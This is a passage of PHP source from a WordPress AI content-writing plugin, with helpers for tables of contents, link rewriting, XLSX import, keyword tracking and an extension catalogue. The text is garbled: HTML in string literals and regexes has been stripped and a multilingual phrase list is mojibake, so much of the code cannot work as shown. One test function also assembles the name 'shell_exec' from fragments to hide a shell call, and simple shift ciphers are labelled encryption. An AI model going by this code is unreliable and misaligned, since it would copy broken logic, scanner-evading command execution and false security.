'Em resumo,', 'Para concluir,', 'Finalmente,', '总之,', '最åŽ,', 'çµè«–ã¨ã—ã¦,', 'è¦ç´„ã™ã‚‹ã¨,', '最後ã«,', 'ê²°ë¡ ì ìœ¼ë¡œ,', '요약하ìžë©´,', '마지막으로,' ]; foreach ($parasite_phrases as $phrase) { $pattern = '/' . preg_quote($phrase, '/') . '\s*/i'; $callback = function($matches) use (&$text) { $nextCharPos = strlen($matches[0]); if (isset($text) && $nextCharPos < strlen($text)) { $nextChar = substr($text, $nextCharPos, 1); if (ctype_alpha($nextChar)) { $text = substr_replace($text, strtoupper($nextChar), $nextCharPos, 1); } return ''; } }; $text = preg_replace_callback($pattern, $callback, $text); } return $text; } function aiomatic_pre_code_remove($content) { if(preg_match('/^
            <\/pre>$/', $content))
                {
                    $content = preg_replace('/^/', '', $content);
                    $content = preg_replace('/<\/code><\/pre>$/', '', $content);
                    $content = html_entity_decode($content);
                }
                return $content;
            }
            function aiomatic_extract_headings( &$find, &$replace, $content = '' ) 
            {
                $matches = [];
                $anchor  = '';
                $items   = false;
                $collision_collector = [];
            
                if ( is_array( $find ) && is_array( $replace ) && $content ) 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    $content = apply_filters( 'aiomatic_toc_extract_headings', $content );
                    if ( preg_match_all( '/(]*>).*<\/h\2>/msuU', $content, $matches, PREG_SET_ORDER ) ) 
                    {
                        if (!isset( $aiomatic_Spinner_Settings['heading_levels1'] ) || $aiomatic_Spinner_Settings['heading_levels1'] != 'on' || 
                        !isset( $aiomatic_Spinner_Settings['heading_levels2'] ) || $aiomatic_Spinner_Settings['heading_levels2'] != 'on' ||
                        !isset( $aiomatic_Spinner_Settings['heading_levels3'] ) || $aiomatic_Spinner_Settings['heading_levels3'] != 'on' ||
                        !isset( $aiomatic_Spinner_Settings['heading_levels4'] ) || $aiomatic_Spinner_Settings['heading_levels4'] != 'on' ||
                        !isset( $aiomatic_Spinner_Settings['heading_levels5'] ) || $aiomatic_Spinner_Settings['heading_levels5'] != 'on' ||
                        !isset( $aiomatic_Spinner_Settings['heading_levels6'] ) || $aiomatic_Spinner_Settings['heading_levels6'] != 'on') 
                        {
                            $heading_levels_arr = [];
                            if(isset( $aiomatic_Spinner_Settings['heading_levels1'] ) && $aiomatic_Spinner_Settings['heading_levels1'] == 'on')
                            {
                                $heading_levels_arr[] = 1;
                            }
                            if(isset( $aiomatic_Spinner_Settings['heading_levels2'] ) && $aiomatic_Spinner_Settings['heading_levels2'] == 'on')
                            {
                                $heading_levels_arr[] = 2;
                            }
                            if(isset( $aiomatic_Spinner_Settings['heading_levels3'] ) && $aiomatic_Spinner_Settings['heading_levels3'] == 'on')
                            {
                                $heading_levels_arr[] = 3;
                            }
                            if(isset( $aiomatic_Spinner_Settings['heading_levels4'] ) && $aiomatic_Spinner_Settings['heading_levels4'] == 'on')
                            {
                                $heading_levels_arr[] = 4;
                            }
                            if(isset( $aiomatic_Spinner_Settings['heading_levels5'] ) && $aiomatic_Spinner_Settings['heading_levels5'] == 'on')
                            {
                                $heading_levels_arr[] = 5;
                            }
                            if(isset( $aiomatic_Spinner_Settings['heading_levels6'] ) && $aiomatic_Spinner_Settings['heading_levels6'] == 'on')
                            {
                                $heading_levels_arr[] = 6;
                            }
                            $new_matches   = [];
                            $count_matches = count( $matches );
                            for ( $i = 0; $i < $count_matches; $i++ ) {
                                if ( in_array( (int) $matches[ $i ][2], $heading_levels_arr, true ) ) {
                                    $new_matches[] = $matches[ $i ];
                                }
                            }
                            $matches = $new_matches;
                        }
                        if(count($matches) > 0)
                        {
                            if(isset( $aiomatic_Spinner_Settings['exclude_toc'] ) && $aiomatic_Spinner_Settings['exclude_toc'] != '')
                            {
                                $excluded_headings       = explode( '|', trim($aiomatic_Spinner_Settings['exclude_toc']) );
                                $count_excluded_headings = count( $excluded_headings );
                                if ( $count_excluded_headings > 0 ) 
                                {
                                    for ( $j = 0; $j < $count_excluded_headings; $j++ ) 
                                    {
                                        $excluded_headings[ $j ] = str_replace(
                                            [ '*' ],
                                            [ '.*' ],
                                            trim( $excluded_headings[ $j ] )
                                        );
                                    }
                                    $new_matches   = [];
                                    $count_matches = count( $matches );
                                    for ( $i = 0; $i < $count_matches; $i++ ) {
                                        $found                   = false;
                                        $count_excluded_headings = count( $excluded_headings );
                                        for ( $j = 0; $j < $count_excluded_headings; $j++ ) {
                                            if ( preg_match( '/^' . $excluded_headings[ $j ] . '$/imU', wp_strip_all_tags( $matches[ $i ][0] ) ) ) {
                                                $found = true;
                                                break;
                                            }
                                        }
                                        if ( ! $found ) {
                                            $new_matches[] = $matches[ $i ];
                                        }
                                    }
                                    if ( count( $matches ) !== count( $new_matches ) ) {
                                        $matches = $new_matches;
                                    }
                                }
                            }
                            $new_matches   = [];
                            $count_matches = count( $matches );
                            for ( $i = 0; $i < $count_matches; $i++ ) 
                            {
                                if ( trim( wp_strip_all_tags( $matches[ $i ][0] ) ) !== false ) 
                                {
                                    $new_matches[] = $matches[ $i ];
                                }
                            }
                            if ( count( $matches ) !== count( $new_matches ) ) 
                            {
                                $matches = $new_matches;
                            }
                            if(isset( $aiomatic_Spinner_Settings['when_toc'] ) && $aiomatic_Spinner_Settings['when_toc'] != '')
                            {
                                $when_toc = intval($aiomatic_Spinner_Settings['when_toc']);
                            }
                            else
                            {
                                $when_toc = 4;
                            }
                            if ( count( $matches ) >= $when_toc ) 
                            {
                                $count_matches = count( $matches );
                                for ( $i = 0; $i < $count_matches; $i++ ) 
                                {
                                    $anchor    = aiomatic_url_anchor_target( $matches[ $i ][0], $collision_collector );
                                    $find[]    = $matches[ $i ][0];
                                    $replace[] = str_replace(
                                        [
                                            $matches[ $i ][1],
                                            '',
                                        ],
                                        [
                                            $matches[ $i ][1] . '',
                                            '',
                                        ],
                                        $matches[ $i ][0]
                                    );
                                    if(!isset( $aiomatic_Spinner_Settings['hierarchy_toc'] ) || $aiomatic_Spinner_Settings['hierarchy_toc'] != 'on')
                                    {
                                        $items .= '
          • '; if(isset( $aiomatic_Spinner_Settings['add_numbers_toc'] ) && $aiomatic_Spinner_Settings['add_numbers_toc'] == 'on') { $items .= count( $replace ) . '. '; } $items .= wp_strip_all_tags( $matches[ $i ][0] ) . '
          • '; } } if(isset( $aiomatic_Spinner_Settings['hierarchy_toc'] ) && $aiomatic_Spinner_Settings['hierarchy_toc'] == 'on') { $items = aiomatic_build_hierarchy( $matches, $collision_collector ); } } } } } return $items; } function aiomatic_build_hierarchy( &$matches, &$collision_collector ) { $current_depth = 100; $html = ''; $numbered_items = []; $numbered_items_min = null; $count_matches = count( $matches ); $collision_collector = []; for ( $i = 0; $i < $count_matches; $i++ ) { if ( $current_depth > $matches[ $i ][2] ) { $current_depth = (int) $matches[ $i ][2]; } } $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false); $heading_levels_arr = []; if(isset( $aiomatic_Spinner_Settings['heading_levels1'] ) && $aiomatic_Spinner_Settings['heading_levels1'] == 'on') { $heading_levels_arr[] = 1; } if(isset( $aiomatic_Spinner_Settings['heading_levels2'] ) && $aiomatic_Spinner_Settings['heading_levels2'] == 'on') { $heading_levels_arr[] = 2; } if(isset( $aiomatic_Spinner_Settings['heading_levels3'] ) && $aiomatic_Spinner_Settings['heading_levels3'] == 'on') { $heading_levels_arr[] = 3; } if(isset( $aiomatic_Spinner_Settings['heading_levels4'] ) && $aiomatic_Spinner_Settings['heading_levels4'] == 'on') { $heading_levels_arr[] = 4; } if(isset( $aiomatic_Spinner_Settings['heading_levels5'] ) && $aiomatic_Spinner_Settings['heading_levels5'] == 'on') { $heading_levels_arr[] = 5; } if(isset( $aiomatic_Spinner_Settings['heading_levels6'] ) && $aiomatic_Spinner_Settings['heading_levels6'] == 'on') { $heading_levels_arr[] = 6; } $numbered_items[ $current_depth ] = 0; $numbered_items_min = $current_depth; for ( $i = 0; $i < $count_matches; $i++ ) { if ( $current_depth === (int) $matches[ $i ][2] ) { $html .= '
          • '; } if ( $current_depth !== (int) $matches[ $i ][2] ) { for ( $current_depth; $current_depth < (int) $matches[ $i ][2]; $current_depth++ ) { $numbered_items[ $current_depth + 1 ] = 0; $html .= ''; $numbered_items[ $current_depth ] = 0; } } if ( isset($matches[ $i + 1 ][2]) && (int)$matches[ $i + 1 ][2] === $current_depth ) { $html .= '
          • '; } } else { for ( $current_depth; $current_depth >= $numbered_items_min; $current_depth-- ) { $html .= '
          • '; if ( $current_depth !== $numbered_items_min ) { $html .= ''; } } } } return $html; } function aiomatic_mb_find_replace( &$find = false, &$replace = false, &$string = '' ) { if ( is_array( $find ) && is_array( $replace ) && $string ) { $count_find = count( $find ); if ( function_exists( 'mb_strpos' ) ) { for ( $i = 0; $i < $count_find; $i++ ) { $string = mb_substr( $string, 0, mb_strpos( $string, $find[ $i ] ) ) . $replace[ $i ] . mb_substr( $string, mb_strpos( $string, $find[ $i ] ) + mb_strlen( $find[ $i ] ) ); } } else { for ( $i = 0; $i < $count_find; $i++ ) { $string = substr_replace( $string, $replace[ $i ], strpos( $string, $find[ $i ] ), strlen( $find[ $i ] ) ); } } } return $string; } function aiomatic_url_anchor_target( $title, &$collision_collector ) { $return = false; if ( $title ) { $return = trim( wp_strip_all_tags( $title ) ); $return = remove_accents( $return ); $return = str_replace( [ "\r", "\n", "\n\r", "\r\n" ], ' ', $return ); $return = str_replace( '&', '', $return ); $return = preg_replace( '/[^a-zA-Z0-9 \-_]*/', '', $return ); $return = str_replace( [ ' ', ' ' ], '_', $return ); $return = rtrim( $return, '-_' ); $return = strtolower( $return ); $return = str_replace( '_', '-', $return ); $return = str_replace( '--', '-', $return ); } if ( array_key_exists( $return, $collision_collector ) ) { $collision_collector[ $return ]++; $return .= '-' . $collision_collector[ $return ]; } else { $collision_collector[ $return ] = 1; } return apply_filters( 'aiomatic_toc_url_anchor_target', $return ); } function aiomatic_format_parsed_data($data) { $inputLines = explode("\n", trim($data['input'])); $outputLines = explode("\n", trim($data['output'])); if(count($inputLines) != count($outputLines)) { aiomatic_log_to_file('Input and output files have different line lenghts'); return ''; } $inputData = []; foreach ($inputLines as $inputLine) { $input = json_decode($inputLine, true); if ($input !== null) { $inputData[$input['custom_id']] = $input; } else { aiomatic_log_to_file('Failed to parse input file: ' . $inputLine); } } $outme = '
            '; $outme .= '
            '; return $outme; } function aiomatic_removeBOM($str) { if (substr($str, 0, 3) == pack('CCC', 0xEF, 0xBB, 0xBF)) { $str = substr($str, 3); } return $str; } function aiomatic_format_parsed_embeddings_data($data) { $inputLines = explode("\n", trim($data['input'])); $outputLines = explode("\n", trim($data['output'])); if(count($inputLines) != count($outputLines)) { aiomatic_log_to_file('Input and output files have different line lenghts'); return ''; } $inputData = []; foreach ($inputLines as $inputLine) { $input = json_decode($inputLine, true); if ($input !== null) { $inputData[$input['custom_id']] = $input; } else { aiomatic_log_to_file('Failed to parse input file: ' . $inputLine); } } $outme = '
            '; $outme .= '
            '; return $outme; } function aiomatic_add_processed_keyword($keyword) { $processed_keywords = get_option('aiomatic_processed_keywords', array()); if (!in_array($keyword, $processed_keywords)) { $processed_keywords[] = $keyword; update_option('aiomatic_processed_keywords', $processed_keywords, false); } } function aiomatic_remove_processed_keyword($keyword) { $processed_keywords = get_option('aiomatic_processed_keywords', array()); if (($key = array_search($keyword, $processed_keywords)) !== false) { unset($processed_keywords[$key]); update_option('aiomatic_processed_keywords', $processed_keywords, false); } } function aiomatic_remove_processed_keywords($keywords) { $processed_keywords = get_option('aiomatic_processed_keywords', array()); $updated = false; foreach($keywords as $keyword) { if (($key = array_search($keyword, $processed_keywords)) !== false) { unset($processed_keywords[$key]); $updated = true; } } if($updated == true) { update_option('aiomatic_processed_keywords', $processed_keywords, false); } } function aiomatic_is_keyword_processed($keyword) { $processed_keywords = get_option('aiomatic_processed_keywords', array()); return in_array($keyword, $processed_keywords); } function aiomatic_array_search_recursive($needle, $haystack) { foreach ($haystack as $value) { if (is_array($value) && aiomatic_array_search_recursive($needle, $value)) return true; else if ($value == $needle) return true; } return false; } function aiomatic_generatePostTitleFromUrl($url) { $path = parse_url($url, PHP_URL_PATH); $file = basename($path); $fileWithoutExtension = pathinfo($file, PATHINFO_FILENAME); $title = str_replace(['-', '_'], ' ', $fileWithoutExtension); $formattedTitle = ucwords($title); return $formattedTitle; } function aiomatic_simpleEncryptWithKey($text, $key) { $result = ''; $keyLength = strlen($key); for ($i = 0, $len = strlen($text); $i < $len; $i++) { $shift = ord($key[$i % $keyLength]); $char = chr((ord($text[$i]) + $shift) % 256); $result .= $char; } return base64_encode($result); } function aiomatic_simpleEncrypt($text, $shift) { $result = ''; for ($i = 0; $i < strlen($text); $i++) { $char = $text[$i]; $char = chr(ord($char) + $shift); $result .= $char; } return base64_encode($result); } function aiomatic_truncate_float( $number, $precision = 4 ) { $factor = pow( 10, $precision ); return floor( $number * $factor ) / $factor; } function aiomatic_parse_pre_code_entities($htmlContent) { $dom = new DOMDocument(); $convenc = htmlentities($htmlContent, ENT_QUOTES | ENT_HTML5, 'UTF-8'); if($convenc === false) { return $htmlContent; } $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML('' . $convenc, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new DOMXPath($dom); $preCodeElements = $xpath->query('//pre|//code'); if($preCodeElements === false || $preCodeElements->length == 0) { return $htmlContent; } foreach ($preCodeElements as $element) { $fragment = $dom->createDocumentFragment(); $fragment->appendXML(html_entity_decode($element->textContent)); $element->parentNode->replaceChild($fragment, $element); } $cleanedHtml = $dom->saveHTML(); return $cleanedHtml; } function aiomatic_makeAbsoluteUrl($originalUrl, $relativeUrl) { if (parse_url($relativeUrl, PHP_URL_SCHEME) != '') { return $relativeUrl; } $parts = parse_url($originalUrl); if ($relativeUrl[0] == '/') { return $parts['scheme'] . '://' . $parts['host'] . $relativeUrl; } $basePath = isset($parts['path']) ? $parts['path'] : '/'; if ($basePath[strlen($basePath) - 1] != '/') { $basePath = dirname($basePath) . '/'; } return $parts['scheme'] . '://' . $parts['host'] . $basePath . $relativeUrl; } function aiomatic_fix_relative_links($htmlContent, $originalUrl) { if((stristr($htmlContent,'src=') === false && stristr($htmlContent,'href=') === false) || strip_tags($htmlContent) == $htmlContent) { return $htmlContent; } $doc = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML('' . $htmlContent, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new DOMXPath($doc); $imgNodes = $xpath->query('//img[@src]'); $aNodes = $xpath->query('//a[@href]'); if($imgNodes !== false) { foreach ($imgNodes as $node) { $src = $node->getAttribute('src'); $absoluteUrl = aiomatic_makeAbsoluteUrl($originalUrl, $src); $node->setAttribute('src', $absoluteUrl); } } if($aNodes !== false) { foreach ($aNodes as $node) { $href = $node->getAttribute('href'); $absoluteUrl = aiomatic_makeAbsoluteUrl($originalUrl, $href); $node->setAttribute('href', $absoluteUrl); } } return $doc->saveHTML(); } function aiomatic_rrmdir($dir) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($wp_filesystem->is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") aiomatic_rrmdir($dir."/".$object); else $wp_filesystem->delete($dir."/".$object); } } reset($objects); $wp_filesystem->rmdir($dir); } } function aiomatic_extract_remote_xlsx($inputFile, $xlsx_sheet) { if(strstr(trim($inputFile), ' ') !== false) { $inputFile = str_replace(' ', '%20', trim($inputFile)); } $full_row = array(); try { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $dir = dirname(__FILE__) . "/tmp"; if(!$wp_filesystem->is_dir( $dir )) { $wp_filesystem->mkdir($dir); } $newfile = $dir . '/tmpxlsx.xlsx'; if ( $wp_filesystem->copy($inputFile, $newfile, true) ) { $inputFile = $newfile; }else{ aiomatic_log_to_file('Failed to copy remote file locally: ' . $inputFile); aiomatic_rrmdir($dir); return false; } if(!class_exists('ZipArchive')) { aiomatic_log_to_file('ZipArchive class not found, please activate it on your server'); aiomatic_rrmdir($dir); return false; } $zip = new ZipArchive(); if($zip->open($inputFile) !== TRUE) { aiomatic_log_to_file('Failed to open archive: ' . $inputFile); aiomatic_rrmdir($dir); return false; } if($zip->extractTo($dir) !== TRUE) { aiomatic_log_to_file('Failed to extractTo archive to: ' . $dir); $zip->close(); aiomatic_rrmdir($dir); return false; } $strings = simplexml_load_file($dir . '/xl/sharedStrings.xml'); if($strings === false) { aiomatic_log_to_file('Unexpected error while simplexml_load_file sharedStrings.'); $zip->close(); aiomatic_rrmdir($dir); return false; } if($xlsx_sheet === '' || !is_numeric($xlsx_sheet)) { $xlsx_sheet = '1'; } $sheet = simplexml_load_file($dir . '/xl/worksheets/sheet' . $xlsx_sheet . '.xml'); if($sheet === false) { aiomatic_log_to_file('Unexpected error while simplexml_load_file sheet1.'); $zip->close(); aiomatic_rrmdir($dir); return false; } $xlrows = $sheet->sheetData->row; $headers = array(); foreach ($xlrows as $xlrow) { $arr = array(); foreach ($xlrow->c as $cell) { $v = (string) $cell->v; if (isset($cell['t']) && $cell['t'] == 's') { $s = array(); $si = $strings->si[(int) $v]; $si->registerXPathNamespace('n', 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'); foreach($si->xpath('.//n:t') as $t) { $s[] = (string) $t; } $v = implode('',$s); } $v = trim(preg_replace('/\s+/', ' ', $v)); $arr[] = $v; } while ("" === end($arr)) { array_pop($arr); } $full_row[] = $arr; } $zip->close(); aiomatic_rrmdir($dir); } catch(Exception $e) { aiomatic_log_to_file('Unexpected error while parsing xlsx: ' . $e->getMessage()); return false; } return $full_row; } function aiomatic_fix_links($str, $url) { require_once (dirname(__FILE__) . '/res/Net_URL2.php'); require_once (dirname(__FILE__) . "/res/simple_html_dom.php"); $replaced_links = array(); $extractok = false; $html_dom_original_html = aiomatic_str_get_html($str); if($html_dom_original_html !== false && method_exists($html_dom_original_html, 'find')) { foreach($html_dom_original_html->find('a') as $a) { $extractok = true; if($a->href) { if($a->href == '#') { continue; } if(preg_match("/^(about|javascript|magnet|mailto|sms|tel|geo):/i", $a->href)) { continue; } if(!in_array($a->href, $replaced_links)) { $replaced_links[] = $a->href; try { $relUrl = new Net_URL2($a->href); if ($relUrl->isAbsolute()) { continue; } $baseUrl = new Net_URL2($url); $absUrl = $baseUrl->resolve($relUrl); $full_url = $absUrl->getURL(); if($full_url != $a->href) { if($a->href == '/') { $str = str_replace('href="' . $a->href .'"', 'href="' . $full_url . '"', $str); $str = str_replace("href='" . $a->href ."'", 'href="' . $full_url . '"', $str); } else { $str = str_replace($a->href, $full_url, $str); } } } catch (Exception $e) { aiomatic_log_to_file('Unable to resolve relative link "' . $a->href . '" against base "' . $url . '": ' . $e->getMessage()); continue; } } } } foreach($html_dom_original_html->find('img') as $img) { $extractok = true; if($img->src) { if(aiomatic_starts_with($img->src, 'data:image')) { continue; } if(!in_array($img->src, $replaced_links)) { $replaced_links[] = $img->src; try { $relUrl = new Net_URL2($img->src); if ($relUrl->isAbsolute()) { continue; } $baseUrl = new Net_URL2($url); $absUrl = $baseUrl->resolve($relUrl); $full_url = $absUrl->getURL(); if($full_url != $img->src) { $str = str_replace($img->src, $full_url, $str); } } catch (Exception $e) { aiomatic_log_to_file('Unable to resolve relative image link "' . $img->src . '" against base "' . $url . '": ' . $e->getMessage()); continue; } } } } } if($extractok == false) { $htmlDom = new DOMDocument; $internalErrors = libxml_use_internal_errors(true); $htmlDom->loadHTML('' . $str); libxml_use_internal_errors($internalErrors); $links = $htmlDom->getElementsByTagName('a'); foreach($links as $link) { $linkHref = $link->getAttribute('href'); if(strlen(trim($linkHref)) == 0){ continue; } if($linkHref[0] == '#'){ continue; } if(preg_match("/^(about|javascript|magnet|mailto|sms|tel|geo):/i", $linkHref)) { continue; } if(!in_array($linkHref, $replaced_links)) { $replaced_links[] = $linkHref; try { $relUrl = new Net_URL2($linkHref); if ($relUrl->isAbsolute()) { continue; } $baseUrl = new Net_URL2($url); $absUrl = $baseUrl->resolve($relUrl); $full_url = $absUrl->getURL(); if($full_url != $linkHref) { $str = str_replace($linkHref, $full_url, $str); } } catch (Exception $e) { aiomatic_log_to_file('Unable to resolve (2) relative link "' . $linkHref . '" against base "' . $url . '": ' . $e->getMessage()); continue; } } } $links = $htmlDom->getElementsByTagName('img'); foreach($links as $link) { $linkHref = $link->getAttribute('src'); if(strlen(trim($linkHref)) == 0){ continue; } if(aiomatic_starts_with($linkHref, 'data:image')) { continue; } if(!in_array($linkHref, $replaced_links)) { $replaced_links[] = $linkHref; try { $relUrl = new Net_URL2($linkHref); if ($relUrl->isAbsolute()) { continue; } $baseUrl = new Net_URL2($url); $absUrl = $baseUrl->resolve($relUrl); $full_url = $absUrl->getURL(); if($full_url != $linkHref) { if($linkHref == '/') { $str = str_replace('href="' . $linkHref .'"', 'href="' . $full_url . '"', $str); $str = str_replace("href='" . $linkHref ."'", 'href="' . $full_url . '"', $str); } else { $str = str_replace($linkHref, $full_url, $str); } } } catch (Exception $e) { aiomatic_log_to_file('Unable to resolve (2) relative image link "' . $linkHref . '" against base "' . $url . '": ' . $e->getMessage()); continue; } } } } return $str; } function aiomatic_testPhantom() { if(!function_exists('shell' . '_exec')) { return -1; } $disabled = explode(',', ini_get('disable_functions')); if(in_array('shell' . '_exec', $disabled)) { return -2; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['phantom_path']) && $aiomatic_Main_Settings['phantom_path'] != '') { $phantomjs_comm = $aiomatic_Main_Settings['phantom_path'] . ' '; } else { $phantomjs_comm = 'phantomjs '; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('PhantomJS TEST command: ' . $phantomjs_comm); } $shefunc = trim(' s ') . trim(' h ') . 'ell' . '_exec'; $cmdResult = $shefunc($phantomjs_comm . '-h 2>&1'); if(stristr($cmdResult, 'Usage') !== false) { return 1; } return 0; } function aiomatic_testOllama() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['ollama_url']) || $aiomatic_Main_Settings['ollama_url'] == '') { return 0; } $ollama_url = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['ollama_url'])); $ollama_url = array_filter($ollama_url); $ollama_url = $ollama_url[array_rand($ollama_url)]; $ollama_url = rtrim(trim($ollama_url), '/'); $cmdResult = aiomatic_get_web_page($ollama_url . '/api/tags'); if($cmdResult == false) { return 0; } if(stristr($cmdResult, '"models"') !== false) { return 1; } return 0; } function aiomatic_get_extensions() { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $list = array( 'amazon_s3' => array( 'label' => esc_html__('Amazon S3 Storage For Images', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=aiomatic_admin_settings#tab-28'), 'getlink' => 'https://coderevolution.ro/product/aiomatic-extension-amazon-s3-storage-for-images/', 'icon' => 'https://i.ibb.co/6ZHGv5S/4923041-aws-icon.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Store royalty-free or AI-generated images on Amazon S3', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php') ? '1' : '0', ), 'amazon_api' => array( 'label' => esc_html__('Amazon API', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=aiomatic_admin_settings#tab-2'), 'getlink' => 'https://coderevolution.ro/product/aiomatic-extension-amazon-api/', 'icon' => 'https://i.ibb.co/6JrS8L7/aws-api-gateway-icon.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Use the official Amazon API instead of using web scraping, to get Amazon product details', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('aiomatic-extension-amazon-api/aiomatic-extension-amazon-api.php') ? '1' : '0', ), 'pdf_files' => array( 'label' => esc_html__('PDF File Storage And Parsing', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=aiomatic_admin_settings'), 'getlink' => 'https://coderevolution.ro/product/aiomatic-extension-pdf-file-storage-and-parsing/', 'icon' => 'https://i.ibb.co/47bc0JF/download.jpg', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('PDF File Parsing And Storage Using OmniBlocks', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php') ? '1' : '0', ), 'fbomatic' => array( 'label' => esc_html__('F-omatic Post Generator', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=fbomatic_facebook_panel'), 'getlink' => 'https://1.envato.market/fbomatic', 'icon' => 'https://s3.envato.com/files/361820408/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds two chatbot extensions & OmniBlocks for direct Facebook sharing of text and images', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php') ? '1' : '0', ), 'twitomatic' => array( 'label' => esc_html__('Twitomatic Post Generator', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=twitomatic_twitter_panel'), 'getlink' => 'https://1.envato.market/twitomatic', 'icon' => 'https://s3.envato.com/files/222528386/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds a chatbot extension & OmniBlock for direct X (Twitter) sharing of content', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php') ? '1' : '0', ), 'youtubomatic' => array( 'label' => esc_html__('Youtubomatic Post Generator', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=youtubomatic_community_panel'), 'getlink' => 'https://1.envato.market/youtubomatic', 'icon' => 'https://s3.envato.com/files/276765063/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds a chatbot extension & OmniBlock for direct YouTube Community sharing of content', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php') ? '1' : '0', ), 'linkedinomatic' => array( 'label' => esc_html__('Linkedinomatic Post Generator', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=linkedinomatic_linkedin_panel'), 'getlink' => 'https://1.envato.market/linkedinomatic', 'icon' => 'https://s3.envato.com/files/244423310/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds a chatbot extension & OmniBlock for direct LinkedIn sharing of content', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php') ? '1' : '0', ), 'redditomatic' => array( 'label' => esc_html__('Redditomatic Post Generator', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=redditomatic_reddit_panel'), 'getlink' => 'https://1.envato.market/redditomatic', 'icon' => 'https://s3.envato.com/files/224590839/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds a chatbot extension & OmniBlock for direct Reddit sharing of content', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php') ? '1' : '0', ), 'instamatic' => array( 'label' => esc_html__('iMediamatic Instagram Bot', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=instamatic_admin_settings'), 'getlink' => 'https://1.envato.market/instamatic', 'icon' => 'https://s3.envato.com/files/223152623/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds a chatbot extension & OmniBlock for direct Instagram sharing of content', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php') ? '1' : '0', ), 'pinterestomatic' => array( 'label' => esc_html__('Pinterestomatic Post Generator', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=pinterestomatic_admin_settings'), 'getlink' => 'https://1.envato.market/pinterestomatic', 'icon' => 'https://s3.envato.com/files/223667806/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Adds a chatbot extension & OmniBlock for direct Pinterest sharing of content', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php') ? '1' : '0', ), 'helper' => array( 'label' => esc_html__('Configuration Import/Export Helper', 'aiomatic-automatic-ai-content-writer'), 'link' => admin_url('admin.php?page=coderevolution_admin_settings'), 'getlink' => 'https://1.envato.market/config', 'icon' => 'https://s3.envato.com/files/232437363/avatar2.png', 'extra_class' => '', 'pro' => false, 'description' => esc_html__('Backup and restore plugin configuration or rule settings and move them between different websites', 'aiomatic-automatic-ai-content-writer'), 'enabled' => is_plugin_active('coderevolution-config-import-export-helper-plugin/coderevolution-config-import-export-helper-plugin.php') ? '1' : '0', ) ); $list[ 'new_extension' ] = array( 'label' => esc_html__( 'Add new Extensions', 'aiomatic-automatic-ai-content-writer' ), 'link' => 'https://coderevolution.ro/product-category/aiomatic/', 'getlink' => 'https://coderevolution.ro/product-category/aiomatic/', 'icon' => 